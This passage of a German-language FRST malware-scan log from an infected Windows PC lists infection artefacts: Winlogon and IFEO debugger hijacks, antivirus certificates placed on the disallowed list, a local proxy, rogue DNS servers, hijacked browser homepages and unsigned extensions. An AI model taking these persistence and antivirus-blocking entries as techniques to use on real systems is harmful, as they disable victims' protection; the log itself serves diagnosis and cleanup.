HKLM\ DisallowedCertificates: CDC37C22FE9272D8F2610206AD397A45040326B8 (U)
HKLM\ DisallowedCertificates: D3F78D747E7C5D6D3AE8ABFDDA7522BFB4CBD598 (Kaspersky Lab) <==== ACHTUNG
HKLM\ DisallowedCertificates: DB303C9B61282DE525DC754A535CA2D6A9BD3D87 (ThreatTrack Security) <==== ACHTUNG
HKLM\ DisallowedCertificates: DB77E5CFEC34459146748B667C97B185619251BA (Avast Antivirus/Software) <==== ACHTUNG
HKLM\ DisallowedCertificates: E22240E837B52E691C71DF248F12D27F96441C00 (U)
HKLM\ DisallowedCertificates: E513EAB8610CFFD7C87E00BCA15C23AAB407FCEF (AVG Technologies CZ) <==== ACHTUNG
HKLM\ DisallowedCertificates: ED841A61C0F76025598421BC1B00E24189E68D54 (Bitdefender SRL) <==== ACHTUNG
HKLM\ DisallowedCertificates: F83099622B4A9F72CB5081F742164AD1B8D048C9 (ESET) <==== ACHTUNG
HKLM\ DisallowedCertificates: FBB42F089AF2D570F2BF6F493D107A3255A9BB1A (Panda Security S.L) <==== ACHTUNG
HKLM\ DisallowedCertificates: FFFA650F2CB2ABC0D80527B524DD3F9FC172C138 (Doctor Web Ltd.) <==== ACHTUNG
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\RunOnce: [windows] => C:\ProgramData\windows\windows.exe [1052256 2017-01-03] ()
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\MountPoints2: {3b90a8ba-330f-11e7-83e4-0071c2420bd3} - "F:\autorun.exe"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\MountPoints2: {e8e722cc-412b-11e7-840b-0071c2420bd3} - "F:\OriginInstaller.exe"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\Winlogon: [Shell] explorer.exe,"C:\Users\Nick Schuster\AppData\Roaming\avv.exe" <==== ACHTUNG
HKU\S-1-5-18\...\Run: [sG4nE4Ad85qJ.exe] => C:\ProgramData\e9cf343f516c47a4a7255147ad1dcd13\sG4nE4Ad85qJ.exe [216576 2017-05-30] ()
HKLM\...\Providers\6ddy6fjk: C:\Program Files (x86)\Qizsywosale Core\local64spl.dll [306688 2017-03-17] ()
IFEO\GoogleUpdate.exe: [Debugger] 324095823984.exe
IFEO\GoogleUpdaterService.exe: [Debugger] 8736459873644.exe
IFEO\rstrui.exe: [Debugger] rrtuy.exe
ShellExecuteHooks: Kein Name - {5EBD559E-A5BA-11E6-B9FD-64006A5CFC23} - C:\Users\Nick Schuster\AppData\Roaming\Phucusy\Pipothzo.dll -> Keine Datei
ShellExecuteHooks: Kein Name - {9C829CE8-039A-11E7-8F7F-64006A5CFC23} - C:\Users\Nick Schuster\AppData\Roaming\Anerpe\Zoduly.dll -> Keine Datei
ShellExecuteHooks: Kein Name - {234628B4-4048-11E7-9F2C-64006A5CFC23} - C:\Users\Nick Schuster\AppData\Roaming\Grerdaentlerveck\Thuvale.dll -> Keine Datei
ShellExecuteHooks: Kein Name - {A4CD8824-4049-11E7-9F11-64006A5CFC23} - C:\Users\Default\AppData\Roaming\Minerent\Wuteghtplejipy.dll [144896 2017-05-30] ()
ShellIconOverlayIdentifiers: [ MEGA (Pending)] -> {056D528D-CE28-4194-9BA3-BA2E9197FF8C} => C:\Users\Nick Schuster\AppData\Local\MEGAsync\ShellExtX64.dll -> Keine Datei
ShellIconOverlayIdentifiers: [ MEGA (Synced)] -> {05B38830-F4E9-4329-978B-1DD28605D202} => C:\Users\Nick Schuster\AppData\Local\MEGAsync\ShellExtX64.dll -> Keine Datei
ShellIconOverlayIdentifiers: [ MEGA (Syncing)] -> {0596C850-7BDD-4C9D-AFDF-873BE6890637} => C:\Users\Nick Schuster\AppData\Local\MEGAsync\ShellExtX64.dll -> Keine Datei
ShellIconOverlayIdentifiers: [ DropboxExt1] -> {FB314ED9-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers: [ DropboxExt10] -> {FB314EE2-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers: [ DropboxExt2] -> {FB314EDA-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers: [ DropboxExt3] -> {FB314EDD-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers: [ DropboxExt4] -> {FB314EDE-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers: [ DropboxExt5] -> {FB314EDB-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers: [ DropboxExt6] -> {FB314EDF-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers: [ DropboxExt7] -> {FB314EDC-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers: [ DropboxExt8] -> {FB314EE0-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers: [ DropboxExt9] -> {FB314EE1-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers: [00avast] -> {472083B0-C522-11CF-8763-00608CC02F24} =>  -> Keine Datei
ShellIconOverlayIdentifiers: [KzShlobj] -> {AAA0C5B8-933F-4200-93AD-B143D7FFF9F2} =>  -> Keine Datei
ShellIconOverlayIdentifiers-x32: [ MEGA (Pending)] -> {056D528D-CE28-4194-9BA3-BA2E9197FF8C} => C:\Users\Nick Schuster\AppData\Local\MEGAsync\ShellExtX32.dll -> Keine Datei
ShellIconOverlayIdentifiers-x32: [ MEGA (Synced)] -> {05B38830-F4E9-4329-978B-1DD28605D202} => C:\Users\Nick Schuster\AppData\Local\MEGAsync\ShellExtX32.dll -> Keine Datei
ShellIconOverlayIdentifiers-x32: [ MEGA (Syncing)] -> {0596C850-7BDD-4C9D-AFDF-873BE6890637} => C:\Users\Nick Schuster\AppData\Local\MEGAsync\ShellExtX32.dll -> Keine Datei
ShellIconOverlayIdentifiers-x32: [ DropboxExt1] -> {FB314ED9-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers-x32: [ DropboxExt10] -> {FB314EE2-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers-x32: [ DropboxExt2] -> {FB314EDA-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers-x32: [ DropboxExt3] -> {FB314EDD-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers-x32: [ DropboxExt4] -> {FB314EDE-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers-x32: [ DropboxExt5] -> {FB314EDB-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers-x32: [ DropboxExt6] -> {FB314EDF-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers-x32: [ DropboxExt7] -> {FB314EDC-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers-x32: [ DropboxExt8] -> {FB314EE0-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt.3.0.dll -> Keine Datei
ShellIconOverlayIdentifiers-x32: [ DropboxExt9] -> {FB314EE1-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt.3.0.dll -> Keine Datei
Startup: C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MEGAsync.lnk [2017-06-05]
Startup: C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\smss.exe [2017-06-05] ()
BootExecute: autocheck autochk * sh4native Sh4Removal
GroupPolicy: Beschr鋘kung - Chrome <======= ACHTUNG
CHR HKLM\SOFTWARE\Policies\Google: Beschr鋘kung <======= ACHTUNG

==================== Internet (Nicht auf der Ausnahmeliste) ====================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Eintrag entfernt oder auf den Standardwert zur點kgesetzt, wenn es sich um einen Registryeintrag handelt.)

ProxyEnable: [.DEFAULT] => Proxy ist aktiviert.
ProxyServer: [.DEFAULT] => 127.0.0.1:8003
ProxyEnable: [S-1-5-19] => Proxy ist aktiviert.
ProxyServer: [S-1-5-19] => 127.0.0.1:8003
ProxyEnable: [S-1-5-20] => Proxy ist aktiviert.
ProxyServer: [S-1-5-20] => 127.0.0.1:8003
ProxyServer: [S-1-5-21-3847841184-804715454-2304624315-1001] => 127.0.0.1:8003
Hosts: Es ist mehr als ein Eintrag in der Hosts Datei zu finden. Siehe Hosts-Bereich in Addition.txt
Tcpip\Parameters: [DhcpNameServer] 192.168.192.1
Tcpip\Parameters: [NameServer] 82.163.143.157 82.163.142.159
Tcpip\..\Interfaces\{04A2521B-7C11-484A-B28D-E9BE3102A821}: [DhcpNameServer] 82.163.143.176
Tcpip\..\Interfaces\{8EA2322E-EF2C-4423-AF3C-3EE361FD417B}: [DhcpNameServer] 192.168.192.1
Tcpip\..\Interfaces\{9BAF9E4B-D963-4721-8C85-586F3F37FF3C}: [NameServer] 8.8.8.8,8.8.4.4,4.2.2.1,4.2.2.2,208.67.222.222,208.67.220.220,8.26.56.26,8.20.247.20,156.154.70.1,156.154.71.1
Tcpip\..\Interfaces\{9BAF9E4B-D963-4721-8C85-586F3F37FF3C}: [DhcpNameServer] 192.168.192.1
Tcpip\..\Interfaces\{C085ED3F-9016-49ED-8EF6-3F93AD892C71}: [NameServer] 82.163.143.157 82.163.142.159
Tcpip\..\Interfaces\{C085ED3F-9016-49ED-8EF6-3F93AD892C71}: [DhcpNameServer] 82.163.143.157
Tcpip\..\Interfaces\{E0DF352E-2385-4F61-8BE1-15E2F9F0520E}: [NameServer] 82.163.143.157 82.163.142.159
Tcpip\..\Interfaces\{E0DF352E-2385-4F61-8BE1-15E2F9F0520E}: [DhcpNameServer] 82.163.143.157
ManualProxies:

Internet Explorer:
==================
HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer: Beschr鋘kung <======= ACHTUNG
HKU\.DEFAULT\SOFTWARE\Policies\Microsoft\Internet Explorer: Beschr鋘kung <======= ACHTUNG
HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.ourluckysites.com/?type=hp&ts=1496220549&z=f72a668514478351723213eg2zet8qfo9ode2w5zae&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.ourluckysites.com/?type=hp&ts=1496220549&z=f72a668514478351723213eg2zet8qfo9ode2w5zae&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX
HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.ourluckysites.com/search/?type=ds&ts=1491385150&z=2a9afdb9de70e14a8bc3025g3z1t6gac5bfwbg8gcw&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&q={searchTerms}
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.ourluckysites.com/search/?type=ds&ts=1491385150&z=2a9afdb9de70e14a8bc3025g3z1t6gac5bfwbg8gcw&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&q={searchTerms}
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&ts=1496220549&z=f72a668514478351723213eg2zet8qfo9ode2w5zae&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&ts=1496220549&z=f72a668514478351723213eg2zet8qfo9ode2w5zae&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1491385150&z=2a9afdb9de70e14a8bc3025g3z1t6gac5bfwbg8gcw&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&q={searchTerms}
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1491385150&z=2a9afdb9de70e14a8bc3025g3z1t6gac5bfwbg8gcw&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&q={searchTerms}
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.startpageing123.com/search/?type=ds&ts=1490098796&z=edb8deb4a39db277332a2ebg6z4t7e1e3t2bdm2b1z&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&q={searchTerms}
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.ourluckysites.com/?type=hp&ts=1496220549&z=f72a668514478351723213eg2zet8qfo9ode2w5zae&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&ts=1496220549&z=f72a668514478351723213eg2zet8qfo9ode2w5zae&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX
SearchScopes: HKLM -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = hxxps://de.search.yahoo.com/yhs/search?hspart=iry&hsimp=yhs-fullyhosted_003&type=wbf_ir_17_18&param1=1&param2=f%3D4%26b%3DIE%26cc%3Dde%26pa%3Dwincy%26cd%3D2XzuyEtN2Y1L1Qzu0FyCtDyCyCzyyE0FyB0EzytCyByD0DtDtN0D0Tzu0StCzyyDtAtN1L2XzutAtFtBzytFtAtFyByDtN1L1Czu1TtN1L1G1B1V1N2Y1L1Qzu2StCyBtCtBzztByEtCtGyCyB0DtCtG0C0B0DtCtGyE0E0DyCtGtCyEyBzzyD0CzzzytD0CyD0F2QtN1M1F1B2Z1V1N2Y1L1Qzu2StC0C0DtD0D0B0CyDtGzyyC0E0FtGyEtDyEyDtG0BzztCzztG0FtBtDyCtDzy0FtCzztDzz0E2QtN0A0LzuyE%26cr%3D1366659074%26a%3Dwbf_ir_17_18%26os_ver%3D6.3%26os%3DWindows%2B8.1&p={searchTerms}
SearchScopes: HKLM -> {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = hxxps://de.search.yahoo.com/yhs/search?hspart=iry&hsimp=yhs-fullyhosted_003&type=wbf_ir_17_18&param1=1&param2=f%3D4%26b%3DIE%26cc%3Dde%26pa%3Dwincy%26cd%3D2XzuyEtN2Y1L1Qzu0FyCtDyCyCzyyE0FyB0EzytCyByD0DtDtN0D0Tzu0StCzyyDtAtN1L2XzutAtFtBzytFtAtFyByDtN1L1Czu1TtN1L1G1B1V1N2Y1L1Qzu2StCyBtCtBzztByEtCtGyCyB0DtCtG0C0B0DtCtGyE0E0DyCtGtCyEyBzzyD0CzzzytD0CyD0F2QtN1M1F1B2Z1V1N2Y1L1Qzu2StC0C0DtD0D0B0CyDtGzyyC0E0FtGyEtDyEyDtG0BzztCzztG0FtBtDyCtDzy0FtCzztDzz0E2QtN0A0LzuyE%26cr%3D1366659074%26a%3Dwbf_ir_17_18%26os_ver%3D6.3%26os%3DWindows%2B8.1&p={searchTerms}
SearchScopes: HKLM -> {2211d4a5-48d0-47f5-a7cd-81e861470f7f} URL = hxxp://www.bing.com/search?q={searchTerms}&form=MSERBM&pc=MSERT1
SearchScopes: HKLM-x32 -> DefaultScope {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxps://de.search.yahoo.com/yhs/search?hspart=iry&hsimp=yhs-fullyhosted_003&type=wbf_ir_17_18&param1=1&param2=f%3D4%26b%3DIE%26cc%3Dde%26pa%3Dwincy%26cd%3D2XzuyEtN2Y1L1Qzu0FyCtDyCyCzyyE0FyB0EzytCyByD0DtDtN0D0Tzu0StCzyyDtAtN1L2XzutAtFtBzytFtAtFyByDtN1L1Czu1TtN1L1G1B1V1N2Y1L1Qzu2StCyBtCtBzztByEtCtGyCyB0DtCtG0C0B0DtCtGyE0E0DyCtGtCyEyBzzyD0CzzzytD0CyD0F2QtN1M1F1B2Z1V1N2Y1L1Qzu2StC0C0DtD0D0B0CyDtGzyyC0E0FtGyEtDyEyDtG0BzztCzztG0FtBtDyCtDzy0FtCzztDzz0E2QtN0A0LzuyE%26cr%3D1366659074%26a%3Dwbf_ir_17_18%26os_ver%3D6.3%26os%3DWindows%2B8.1&p={searchTerms}
SearchScopes: HKLM-x32 -> {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = hxxp://www.bing.com/search?q={searchTerms}&form=MSERBM&pc=MSERT1
SearchScopes: HKLM-x32 -> {2211d4a5-48d0-47f5-a7cd-81e861470f7f} URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1491385150&z=2a9afdb9de70e14a8bc3025g3z1t6gac5bfwbg8gcw&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&q={searchTerms}
SearchScopes: HKLM-x32 -> {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxps://de.search.yahoo.com/yhs/search?hspart=iry&hsimp=yhs-fullyhosted_003&type=wbf_ir_17_18&param1=1&param2=f%3D4%26b%3DIE%26cc%3Dde%26pa%3Dwincy%26cd%3D2XzuyEtN2Y1L1Qzu0FyCtDyCyCzyyE0FyB0EzytCyByD0DtDtN0D0Tzu0StCzyyDtAtN1L2XzutAtFtBzytFtAtFyByDtN1L1Czu1TtN1L1G1B1V1N2Y1L1Qzu2StCyBtCtBzztByEtCtGyCyB0DtCtG0C0B0DtCtGyE0E0DyCtGtCyEyBzzyD0CzzzytD0CyD0F2QtN1M1F1B2Z1V1N2Y1L1Qzu2StC0C0DtD0D0B0CyDtGzyyC0E0FtGyEtDyEyDtG0BzztCzztG0FtBtDyCtDzy0FtCzztDzz0E2QtN0A0LzuyE%26cr%3D1366659074%26a%3Dwbf_ir_17_18%26os_ver%3D6.3%26os%3DWindows%2B8.1&p={searchTerms}
SearchScopes: HKU\S-1-5-21-3847841184-804715454-2304624315-1001 -> {2211d4a5-48d0-47f5-a7cd-81e861470f7f} URL =
BHO: Canon Easy-WebPrint EX BHO -> {3785D0AD-BFFF-47F6-BF5B-A587C162FED9} -> C:\Program Files\Canon\Easy-WebPrint EX\ewpexbho.dll [2016-02-23] (CANON INC.)
BHO: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files\Java\jre1.8.0_121\bin\ssv.dll [2017-02-13] (Oracle Corporation)
BHO: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files\Java\jre1.8.0_121\bin\jp2ssv.dll [2017-02-13] (Oracle Corporation)
BHO-x32: Canon Easy-WebPrint EX BHO -> {3785D0AD-BFFF-47F6-BF5B-A587C162FED9} -> C:\Program Files (x86)\Canon\Easy-WebPrint EX\ewpexbho.dll [2016-02-23] (CANON INC.)
BHO-x32: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files (x86)\Java\jre1.8.0_121\bin\ssv.dll [2017-02-13] (Oracle Corporation)
BHO-x32: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files (x86)\Java\jre1.8.0_121\bin\jp2ssv.dll [2017-02-13] (Oracle Corporation)
Toolbar: HKLM - Canon Easy-WebPrint EX - {759D9886-0C6F-4498-BAB6-4A5F47C6C72F} - C:\Program Files\Canon\Easy-WebPrint EX\ewpexhlp.dll [2016-02-23] (CANON INC.)
Toolbar: HKLM-x32 - Canon Easy-WebPrint EX - {759D9886-0C6F-4498-BAB6-4A5F47C6C72F} - C:\Program Files (x86)\Canon\Easy-WebPrint EX\ewpexhlp.dll [2016-02-23] (CANON INC.)
DPF: HKLM-x32 {166B1BCA-3F9C-11CF-8075-444553540000} hxxps://fpdownload.macromedia.com/pub/shockwave/cabs/director/sw.cab
DPF: HKLM-x32 {233C1507-6A77-46A4-9443-F871F945D258} hxxps://fpdownload.macromedia.com/pub/shockwave/cabs/director/sw.cab

FireFox:
========
FF DefaultProfile: ajsmomju.default
FF DefaultProfile: 5f8d7llm.default
FF ProfilePath: C:\Users\Nick Schuster\AppData\Roaming\Firefox\Firefox\naweriweentcofise\Profiles\5f8d7llm.default\Profiles\5f8d7llm.default [nicht gefunden]
FF ProfilePath: C:\Users\Nick Schuster\AppData\Roaming\Mozilla\Firefox\Profiles\ajsmomju.default [2017-06-01]
FF NewTab: Mozilla\Firefox\Profiles\ajsmomju.default -> hxxp://www.initialsite123.com/?z=f1b5038898decb600b47077g1z9tfqae8b9m2tfz7w&from=icb&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&type=hp
FF DefaultSearchEngine: Mozilla\Firefox\Profiles\ajsmomju.default -> initialsite123
FF SelectedSearchEngine: Mozilla\Firefox\Profiles\ajsmomju.default -> initialsite123
FF Homepage: Mozilla\Firefox\Profiles\ajsmomju.default -> hxxp://www.ourluckysites.com/?type=hp&ts=1496220549&z=f72a668514478351723213eg2zet8qfo9ode2w5zae&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX
FF Keyword.URL: Mozilla\Firefox\Profiles\ajsmomju.default -> user_pref("keyword.URL", true);
FF SearchPlugin: C:\Users\Nick Schuster\AppData\Roaming\Mozilla\Firefox\Profiles\ajsmomju.default\searchplugins\ourluckysites.xml [2017-05-31]
FF ProfilePath: C:\Users\Nick Schuster\AppData\Roaming\Firefox\Firefox\Profiles\5f8d7llm.default [2017-06-05]
FF NewTab: Firefox\Firefox\Profiles\5f8d7llm.default -> hxxp://www.trotux.com/?z=d9e5c212f42caf02cf9f950g4zab0tcmae1g4b0g2e&from=isr&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&type=hp
FF SelectedSearchEngine: Firefox\Firefox\Profiles\5f8d7llm.default -> trotux
FF Extension: (SimilarWeb) - C:\Users\Nick Schuster\AppData\Roaming\Firefox\Firefox\Profiles\5f8d7llm.default\Extensions\@DA3566E2-F709-11E5-8E87-A604BC8E7F8B.xpi [2017-03-28] [ist nicht signiert]
FF Extension: (HSearch) - C:\Users\Nick Schuster\AppData\Roaming\Firefox\Firefox\Profiles\5f8d7llm.default\Extensions\@E97YHOMI-FU8L-IM23-VUT9-RVDZT7M8XL8H.xpi [2017-04-17] [ist nicht signiert]
FF Extension: (FF Adr) - C:\Users\Nick Schuster\AppData\Roaming\Firefox\Firefox\Profiles\5f8d7llm.default\Extensions\@H99KV4DO-UCCF-9PFO-9ZLK-8RRP4FVOKD9O.xpi [2017-03-28] [ist nicht signiert]
FF Extension: (Deutsch (DE) Language Pack) - C:\Users\Nick Schuster\AppData\Roaming\Firefox\Firefox\Profiles\5f8d7llm.default\Extensions\langpack-de@firefox.mozilla.org.xpi [2017-05-31] [ist nicht signiert]
FF Extension: (Adblock Plus) - C:\Users\Nick Schuster\AppData\Roaming\Firefox\Firefox\Profiles\5f8d7llm.default\Extensions\{d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}.xpi [2017-05-26]
FF SearchPlugin: C:\Users\Nick Schuster\AppData\Roaming\Firefox\Firefox\Profiles\5f8d7llm.default\searchplugins\6ddy6fjk.xml [2017-03-17]
FF SearchPlugin: C:\Users\Nick Schuster\AppData\Roaming\Firefox\Firefox\Profiles\5f8d7llm.default\searchplugins\startpageing123.xml [2017-03-21]
FF SearchPlugin: C:\Users\Nick Schuster\AppData\Roaming\Firefox\Firefox\Profiles\5f8d7llm.default\searchplugins\startsearch.xml [2017-05-31]
FF Plugin: @adobe.com/FlashPlayer -> C:\Windows\system32\Macromed\Flash\NPSWF64_25_0_0_171.dll [2017-05-09] ()
FF Plugin: @java.com/DTPlugin,version=11.121.2 -> C:\Program Files\Java\jre1.8.0_121\bin\dtplugin\npDeployJava1.dll [2017-02-13] (Oracle Corporation)
FF Plugin: @java.com/JavaPlugin,version=11.121.2 -> C:\Program Files\Java\jre1.8.0_121\bin\plugin2\npjp2.dll [2017-02-13] (Oracle Corporation)
FF Plugin: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files\Microsoft Silverlight\5.1.50906.0\npctrl.dll [2017-03-09] ( Microsoft Corporation)
FF Plugin: @videolan.org/vlc,version=2.2.4 -> C:\Program Files\VideoLAN\VLC\npvlc.dll [2016-06-01] (VideoLAN)
FF Plugin: adobe.com/AdobeAAMDetect -> C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\CCM\Utilities\npAdobeAAMDetect64.dll [Keine Datei]
FF Plugin-x32: @adobe.com/FlashPlayer -> C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_25_0_0_171.dll [2017-05-09] ()
FF Plugin-x32: @java.com/DTPlugin,version=11.121.2 -> C:\Program Files (x86)\Java\jre1.8.0_121\bin\dtplugin\npDeployJava1.dll [2017-02-13] (Oracle Corporation)
FF Plugin-x32: @java.com/JavaPlugin,version=11.121.2 -> C:\Program Files (x86)\Java\jre1.8.0_121\bin\plugin2\npjp2.dll [2017-02-13] (Oracle Corporation)
FF Plugin-x32: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files (x86)\Microsoft Silverlight\5.1.50906.0\npctrl.dll [2017-03-09] ( Microsoft Corporation)
FF Plugin-x32: @microsoft.com/WLPG,version=16.4.3528.0331 -> C:\Program Files (x86)\Windows Live\Photo Gallery\NPWLPG.dll [2014-03-31] (Microsoft Corporation)
FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.33.5\npGoogleUpdate3.dll [2017-04-28] (Google Inc.)
FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.33.5\npGoogleUpdate3.dll [2017-04-28] (Google Inc.)
FF Plugin-x32: adobe.com/AdobeAAMDetect -> C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\CCM\Utilities\npAdobeAAMDetect32.dll [Keine Datei]
FF Plugin HKU\S-1-5-21-3847841184-804715454-2304624315-1001: ubisoft.com/uplaypc -> C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher\npuplaypc.dll [Keine Datei]
StartMenuInternet: FIREFOX.EXE - C:\Program Files\Mozilla Firefox\firefox.exe hxxp://www.ourluckysites.com/?type=sc&ts=1496220549&z=f72a668514478351723213eg2zet8qfo9ode2w5zae&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX

Chrome:
=======
CHR Profile: C:\Users\Nick Schuster\AppData\Local\Google\Chrome\User Data\Backup-Standard [2017-05-31] <==== ACHTUNG
CHR Extension: (Docs) - C:\Users\Nick Schuster\AppData\Local\Google\Chrome\User Data\Backup-Standard\Extensions\aohghmighlieiainnegkcijnfilokake [2017-05-30]
CHR Extension: (Google Drive) - C:\Users\Nick Schuster\AppData\Local\Google\Chrome\User Data\Backup-Standard\Extensions\apdfllckaahabafndbhieahigkjlhalf [2017-05-30]
CHR Extension: (YouTube) - C:\Users\Nick Schuster\AppData\Local\Google\Chrome\User Data\Backup-Standard\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2017-05-30]
CHR Extension: (Google Mail) - C:\Users\Nick Schuster\AppData\Local\Google\Chrome\User Data\Backup-Standard\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2017-05-30]
CHR HKLM\...\Chrome\Extension: [nahhmpbckpgdidfnmfkfgiflpjijilce] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [pilplloabdedfmialnfchjomjmpjcoej] - hxxps://clients2.google.com/service/update2/crx
CHR HKU\S-1-5-21-3847841184-804715454-2304624315-1001\SOFTWARE\Google\Chrome\Extensions\...\Chrome\Extension: [nahhmpbckpgdidfnmfkfgiflpjijilce] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [bpegkgagfojjbcpkihigfmkojdmmimdf] - <kein Path/update_url>
